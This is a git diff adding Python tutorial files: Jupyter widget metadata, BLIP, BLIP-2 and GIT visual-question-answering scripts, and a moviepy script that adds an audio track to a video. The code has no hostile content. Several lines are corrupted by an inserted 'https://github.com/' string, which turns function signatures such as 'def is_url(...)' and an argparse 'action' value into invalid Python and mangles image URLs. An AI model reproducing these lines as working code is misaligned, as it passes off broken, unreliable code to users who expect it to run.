+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e11444c22fa24360a293d4e6dad4ef3a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e5264a161eff4d6484cbefc7ac38c20d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e6998fe4f2aa4ef595e9b30b794c5549": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e837565f047041b1b4fe58abe20b4860": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_30c8f5bab4ac4beab39c0a282e6a3183",
+            "placeholder": "",
+            "style": "IPY_MODEL_fa8c6a48412a46ed905d105a2cc4f073",
+            "value": " 453/453 [00:00<00:00, 20.8kB/s]"
+          }
+        },
+        "e909d23ed13e4652a909b4f1c5702ec7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e95fea587b2a4f47a7b8b492db3e1ffc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e11444c22fa24360a293d4e6dad4ef3a",
+            "placeholder": "",
+            "style": "IPY_MODEL_a4ae31365e3c4370bc2f7e7ce7fe27f9",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "e995f343b325494d9f315d27ab25ede9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e9e7c07fa5544978840f4b5c24372ff0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2a334258549d49c7ab12ae3f07f69ea9",
+            "max": 4559,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_63994cb769ce402194b4a70ea1079a3d",
+            "value": 4559
+          }
+        },
+        "edaae38c2fe84bbd830d2cfcd793e2f5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f0bf68a25bf7446282f00c22d1093208": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f58b27200af24c2eb76751b0bff84928": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_edaae38c2fe84bbd830d2cfcd793e2f5",
+            "placeholder": "",
+            "style": "IPY_MODEL_1338c7844ec64171b0b6f50c6c2740ea",
+            "value": "Downloading bus.png: 100%"
+          }
+        },
+        "f74bcd4d2ab04c6cb3220c2fc64257b1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_494a7d5322c84f08b713936633c10d8a",
+            "placeholder": "",
+            "style": "IPY_MODEL_366f53d87c6c4b0aa6fd3d167f01c5c3",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "f83d235f098a428d9f6519bba64a385f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f9b7adc37082413f93053106e60eab4d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f9d5339a3d464d18846f943017f90257": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e0a6fa485edb419da6b4c33e6d45cd9f",
+            "placeholder": "",
+            "style": "IPY_MODEL_946e33fee00f4c2aac6406ffe83c419c",
+            "value": " 445/445 [00:00<00:00, 29.9kB/s]"
+          }
+        },
+        "fa8c6a48412a46ed905d105a2cc4f073": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fb47f6098ea54e828931f1082eddcfc6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20052640edfa418fb52d9a6ed8d5e7c5",
+            "max": 125,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e995f343b325494d9f315d27ab25ede9",
+            "value": 125
+          }
+        },
+        "fb7358b3d7c84e058b333694d793ef98": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fbe842d741e84880ac53241d2d39a566": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff3175e110e94476bf7ed17ef19a0077": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ff519a1b9a504a13899a49385b6b9564": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_72e9c18021664b9f812916541fc51c7a",
+              "IPY_MODEL_4e9c85779ed3400a8d8b3f14f08770b6",
+              "IPY_MODEL_b11a5cb28f474ba9bd6dc98f5772fcda"
+            ],
+            "layout": "IPY_MODEL_430fa54d746a4743bc162b8e835a093c"
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/visual-question-answering/requirements.txt b/machine-learning/visual-question-answering/requirements.txt
new file mode 100644
index 00000000..d1fbebb0
--- /dev/null
+++ b/machine-learning/visual-question-answering/requirements.txt
@@ -0,0 +1,6 @@
+torch
+transformers
+accelerate
+scipy
+requests
+Pillow
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/running_blip2.py b/machine-learning/visual-question-answering/running_blip2.py
new file mode 100644
index 00000000..2feda202
--- /dev/null
+++ b/machine-learning/visual-question-answering/running_blip2.py
@@ -0,0 +1,78 @@
+# %%
+!pip install transformers accelerate
+
+# %%
+import requests
+from PIL import Image
+from transformers import Blip2Processor, Blip2ForConditionalGeneration
+import torch
+import os
+
+device = torch.device("cuda", 0)
+device
+
+# %%
+processor = Blip2Processor.from_pretrained("Salesforce/blip2-opt-2.7b")
+model = Blip2ForConditionalGeneration.from_pretrained("Salesforce/blip2-opt-2.7b", torch_dtype=torch.float16)
+
+# %%
+model.to(device)
+
+# %%
+import urllib.parse as parse
+import os
+
+# a function to determine whether a string is a URL or not
+def is_url(https://github.com/string):
+    try:
+        result = parse.urlparse(string)
+        return all([result.scheme, result.netloc, result.path])
+    except:
+        return False
+    
+# a function to load an image
+def load_image(image_path):
+    if is_url(https://github.com/image_path):
+        return Image.open(requests.get(image_path, stream=True).raw)
+    elif os.path.exists(image_path):
+        return Image.open(image_path)
+
+# %%
+raw_image = load_image("http://images.cocodataset.org/test-stuff2017/000000007226.jpg")
+
+# %%
+question = "a"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "a vintage car driving down a street"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "Question: What is the estimated year of these cars? Answer:"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "Question: What is the color of the car? Answer:"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+
+
+
diff --git a/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py b/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py
new file mode 100644
index 00000000..b177ef4e
--- /dev/null
+++ b/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py
@@ -0,0 +1,262 @@
+# -*- coding: utf-8 -*-
+"""VisualQuestionAnswering_PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1dM89DgL_hg4K3uiKnTQ-p8rtS05wH_fX
+"""
+
+!pip install -qU transformers
+
+"""# BLIP
+
+- https://github.com/huggingface/transformers/blob/main/src/transformers/models/blip/modeling_blip.py
+- https://huggingface.co/Salesforce/blip-vqa-base/tree/main
+"""
+
+import requests
+from PIL import Image
+from transformers import BlipProcessor, BlipForQuestionAnswering
+import torch
+
+# load the image we will test BLIP on
+img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# load necessary components: the processor and the model
+processor = BlipProcessor.from_pretrained("Salesforce/blip-vqa-base")
+model = BlipForQuestionAnswering.from_pretrained("Salesforce/blip-vqa-base")
+
+def get_answer_blip(model, processor, image, question):
+    """Answers the given question and handles all the preprocessing and postprocessing steps"""
+    # preprocess the given image and question
+    inputs = processor(image, question, return_tensors="pt")
+    # generate the answer (get output)
+    out = model.generate(**inputs)
+    # post-process the output to get human friendly english text
+    print(processor.decode(out[0], skip_special_tokens=True))
+    return
+
+# sample question 1
+question = "how many dogs are in the picture?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 2
+question = "how will you describe the picture?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 3
+question = "where are they?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 4
+question = "What are they doing?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 5
+question = "What the dog is wearing?"
+get_answer_blip(model, processor, image, question)
+
+class BLIP_VQA:
+    """Custom implementation of the BLIP model. The code has been adapted from the official transformers implementation"""
+
+    def __init__(self, vision_model, text_encoder, text_decoder, processor):
+        """Initialize various objects"""
+        self.vision_model = vision_model
+        self.text_encoder = text_encoder
+        self.text_decoder = text_decoder
+        self.processor = processor
+
+    def preprocess(self, img, ques):
+        """preprocess the inputs: image, question"""
+        # preprocess using the processor
+        inputs = self.processor(img, ques, return_tensors='pt')
+        # store the pixel values of the image, input IDs (i.e., token IDs) of the question and the attention masks separately
+        pixel_values = inputs['pixel_values']
+        input_ids = inputs['input_ids']
+        attention_mask = inputs['attention_mask']
+
+        return pixel_values, input_ids, attention_mask
+
+
+    def generate_output(self, pixel_values, input_ids, attention_mask):
+        """Generates output from the preprocessed input"""
+
+        # get the vision outputs (i.e., the image embeds)
+        vision_outputs = self.vision_model(pixel_values=pixel_values)
+        img_embeds = vision_outputs[0]
+
+        # create attention mask with 1s on all the image embedding positions
+        img_attention_mask = torch.ones(img_embeds.size()[: -1], dtype=torch.long)
+
+        # encode the questions
+        question_outputs = self.text_encoder(input_ids=input_ids,
+                                             attention_mask=attention_mask,
+                                             encoder_hidden_states=img_embeds,
+                                             encoder_attention_mask=img_attention_mask,
+                                             return_dict=False)
+
+        # create attention mask with 1s on all the question token IDs positions
+        question_embeds = question_outputs[0]
+        question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long)
+
+        # initialize the answers with the beginning-of-sentence IDs (bos ID)
+        bos_ids = torch.full((question_embeds.size(0), 1), fill_value=30522)
+
+        # get output from the decoder. These outputs are the generated IDs
+        outputs = self.text_decoder.generate(
+            input_ids=bos_ids,
+            eos_token_id=102,
+            pad_token_id=0,
+            encoder_hidden_states=question_embeds,
+            encoder_attention_mask=question_attention_mask)
+
+        return outputs
+
+
+    def postprocess(self, outputs):
+        """post-process the output generated by the text-decoder"""
+
+        return self.processor.decode(outputs[0], skip_special_tokens=True)
+
+
+    def get_answer(self, image, ques):
+        """Returns human friendly answer to a question"""
+
+        # preprocess
+        pixel_values, input_ids, attention_mask = self.preprocess(image, ques)
+        # generate output
+        outputs = self.generate_output(pixel_values, input_ids, attention_mask)
+        # post-process
+        answer = self.postprocess(outputs)
+        return answer
+
+blip_vqa = BLIP_VQA(vision_model=model.vision_model,
+                    text_encoder=model.text_encoder,
+                    text_decoder=model.text_decoder,
+                    processor=processor)
+
+# sample question 1
+ques = "how will you describe the picture?"
+print(blip_vqa.get_answer(image, ques))
+
+# load another image to test BLIP
+img_url = "https://fastly.picsum.photos/id/11/200/200.jpg?hmac=LBGO0uEpEmAVS8NeUXMqxcIdHGIcu0JiOb5DJr4mtUI"
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# sample question 1
+ques = "Describe the picture"
+print(blip_vqa.get_answer(image, ques))
+
+# sample question 2
+ques = "What is the major color present?"
+print(blip_vqa.get_answer(image, ques))
+
+# sample question 3
+ques = "How's the weather?"
+print(blip_vqa.get_answer(image, ques))
+
+"""# GIT
+
+- https://github.com/huggingface/transformers/blob/main/src/transformers/models/git/modeling_git.py
+- https://huggingface.co/microsoft/git-base-textvqa
+"""
+
+!pip install -qU transformers
+
+from transformers import AutoProcessor, AutoModelForCausalLM
+from huggingface_hub import hf_hub_download
+from PIL import Image
+
+# load the image we will test GIT on
+file_path = hf_hub_download(repo_id="nielsr/textvqa-sample", filename="bus.png", repo_type="dataset")
+image = Image.open(file_path).convert("RGB")
+image
+
+# load necessary components: the processor and the model
+processor = AutoProcessor.from_pretrained("microsoft/git-base-textvqa")
+model = AutoModelForCausalLM.from_pretrained("microsoft/git-base-textvqa")
+
+class GIT_VQA:
+    """Custom implementation of the GIT model for Visual Question Answering (VQA) tasks."""
+
+    def __init__(self, model, processor):
+        """Initializes the model and the processor."""
+        self.model = model
+        self.processor = processor
+        return
+
+
+    def preprocess(self, image, question):
+        """Preprocesses the inputs: image, question"""
+        # process the image to get pixel values
+        pixel_values = self.processor(images=image, return_tensors="pt").pixel_values
+
+        # process the question to get input IDs, but do not add special tokens
+        input_ids = self.processor(text=question, add_special_tokens=False).input_ids
+
+        # add the CLS token at the beginning of the input_ids and format for model input
+        input_ids = [self.processor.tokenizer.cls_token_id] + input_ids
+        input_ids = torch.tensor(input_ids).unsqueeze(0)
+
+        return pixel_values, input_ids
+
+
+    def generate(self, pixel_values, input_ids):
+        """Generates the output from the preprocessed inputs."""
+
+        # generate output using the model with a maximum length of 50 tokens
+        outputs = self.model.generate(pixel_values=pixel_values, input_ids=input_ids, max_length=50)
+        return outputs
+
+
+    def postprocess(self, outputs):
+        """Post-processes the output generated by the model."""
+
+        # decode the output, ignoring special tokens
+        answer = self.processor.batch_decode(outputs, skip_special_tokens=True)
+        return answer
+
+
+    def get_answer(self, image, question):
+        """Returns human friendly answer to a question"""
+
+        # preprocess
+        pixel_values, input_ids = self.preprocess(image, question)
+        # generate output
+        outputs = self.generate(pixel_values, input_ids)
+        # post-process
+        answer = self.postprocess(outputs)
+        return answer
+
+# create a GIT instance
+git_vqa = GIT_VQA(model=model, processor=processor)
+
+# sample question 1
+question = "what does the front of the bus say at the top?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# sample question 2
+question = "what are all the colors present on the bus?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# sample question 3
+question = "How many wheels you see in the bus?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# load another image to test BLIP
+img_url = "https://fastly.picsum.photos/id/110/500/500.jpg?hmac=wSHhLFNyJ6k3uM94s6etGQ0WWhmwbdUSiZ9ZDL5Hh2Q"
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# sample question 1
+question = "Is it night in the image?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
diff --git a/python-for-multimedia/add-audio-to-video/Directed-by-Robert.mp3 b/python-for-multimedia/add-audio-to-video/Directed-by-Robert.mp3
new file mode 100644
index 00000000..2e0db053
Binary files /dev/null and b/python-for-multimedia/add-audio-to-video/Directed-by-Robert.mp3 differ
diff --git a/python-for-multimedia/add-audio-to-video/README.md b/python-for-multimedia/add-audio-to-video/README.md
new file mode 100644
index 00000000..194e7baa
--- /dev/null
+++ b/python-for-multimedia/add-audio-to-video/README.md
@@ -0,0 +1,4 @@
+# [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- `python add_audio_to_video_moviepy.py --help`
\ No newline at end of file
diff --git a/python-for-multimedia/add-audio-to-video/add_audio_to_video_moviepy.py b/python-for-multimedia/add-audio-to-video/add_audio_to_video_moviepy.py
new file mode 100644
index 00000000..d7226423
--- /dev/null
+++ b/python-for-multimedia/add-audio-to-video/add_audio_to_video_moviepy.py
@@ -0,0 +1,42 @@
+from moviepy.editor import VideoFileClip, AudioFileClip, CompositeAudioClip
+import argparse
+
+# make a command-line argument parser & add various parameters
+parser = argparse.ArgumentParser(description="Python script to add audio to video clip")
+parser.add_argument("-v", "--video-file", help="Target video file")
+parser.add_argument("-a", "--audio-file", help="Target audio file to embed with the video")
+parser.add_argument("-s", "--start", help="Start duration of the audio file, default is 0", default=0, type=int)
+parser.add_argument("-e", "--end", help="The end duration of the audio file, default is the length of the video file", type=int)
+parser.add_argument("-c", "--composite", help="Whether to add to the existing audio in the video", action="https://github.com/store_true", default=False)
+parser.add_argument("-f", "--volume-factor", type=float, default=1.0, help="The volume factor to multiply by the volume of the audio file, 1 means no change, below 1 will decrease volume, above will increase.")
+# parse the arguments
+args = parser.parse_args()
+video_file = args.video_file
+audio_file = args.audio_file
+start = args.start
+end = args.end
+composite = args.composite
+volume_factor = args.volume_factor
+# print the passed parameters, just for logging
+print(vars(args))
+# load the video
+video_clip = VideoFileClip(video_file)
+# load the audio
+audio_clip = AudioFileClip(audio_file)
+# use the volume factor to increase/decrease volume
+audio_clip = audio_clip.volumex(volume_factor)
+# if end is not set, use video clip's end
+if not end:
+    end = video_clip.end
+# make sure audio clip is less than video clip in duration
+# setting the start & end of the audio clip to `start` and `end` paramters
+audio_clip = audio_clip.subclip(start, end)
+# composite with the existing audio in the video if composite parameter is set
+if composite:
+    final_audio = CompositeAudioClip([video_clip.audio, audio_clip])
+else:
+    final_audio = audio_clip
+# add the final audio to the video
+final_clip = video_clip.set_audio(final_audio)
+# save the final clip
+final_clip.write_videofile("final.mp4")
\ No newline at end of file
diff --git a/python-for-multimedia/add-audio-to-video/requirements.txt b/python-for-multimedia/add-audio-to-video/requirements.txt
new file mode 100644
index 00000000..c1ecf8a3
--- /dev/null
+++ b/python-for-multimedia/add-audio-to-video/requirements.txt
@@ -0,0 +1 @@
+moviepy
\ No newline at end of file
diff --git a/python-for-multimedia/add-audio-to-video/zoo.mp4 b/python-for-multimedia/add-audio-to-video/zoo.mp4
new file mode 100644
index 00000000..b7dce1d1
